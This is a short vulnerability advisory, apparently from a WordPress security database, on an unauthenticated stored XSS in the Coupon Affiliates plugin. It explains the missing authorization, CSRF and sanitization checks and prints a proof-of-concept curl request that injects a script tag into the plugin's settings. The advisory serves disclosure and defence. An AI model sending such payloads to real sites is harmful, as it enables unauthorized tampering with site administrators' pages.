Coupon Affiliates < 4.16.4.5 - Unauthenticated Stored XSS

2022-03-0200:00:00

cydave

xss

unauthenticated

stored

EPSS

0.001

Percentile

45.7%

JSON

The plugin does not have authorization and CSRF checks on a specific action handler, as well as does not sanitize its settings, which enables an unauthenticated attacker to inject malicious XSS payloads into the settings page of the plugin.

curl https://example.com/wp-admin/admin-ajax.php --data 'action=wcu-update-text&option=wcusage_field_orders&value="></input><script>alert("xss");</script><input'

The XSS will be triggered in the Settings page of the plugin (/wp-admin/admin.php?page=wcusage_settings)

EPSS

0.001

Percentile

45.7%

JSON

Related for WPEX-ID:C43FABB4-B388-462C-ADC4-C6B25AF7043B